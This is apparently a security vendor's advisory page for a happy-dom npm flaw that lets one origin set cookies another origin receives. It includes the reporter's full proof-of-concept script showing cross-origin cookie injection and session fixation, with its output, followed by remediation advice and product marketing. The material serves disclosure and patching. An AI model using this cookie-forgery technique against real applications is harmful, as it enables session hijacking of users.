CVE-2026-118661

CVE-2026-118661 is a medium-severity security vulnerability in happy-dom (npm), affecting versions <= 20.14.5. It is fixed in 20.14.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it, an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM, state the SSR use case.

CVE-2026-118661 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20.14.6); upgrading removes the vulnerable code path.

Affected versions

happy-dom (<= 20.14.5)

Security releases

happy-dom → 20.14.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade happy-dom to 20.14.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-118661? CVE-2026-118661 is a medium-severity security vulnerability in happy-dom (npm), affecting versions <= 20.14.5. It is fixed in 20.14.6.
  2. How severe is CVE-2026-118661? CVE-2026-118661 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of happy-dom are affected by CVE-2026-118661? happy-dom (npm) versions <= 20.14.5 is affected.
  4. Is there a fix for CVE-2026-118661? Yes. CVE-2026-118661 is fixed in 20.14.6. Upgrade to this version or later.
  5. Is CVE-2026-118661 exploitable, and should I be worried? Whether CVE-2026-118661 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-118661 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-118661? Upgrade happy-dom to 20.14.6 or later.

Other vulnerabilities in happy-dom

Stop the waste.
Protect your environment with Kodem.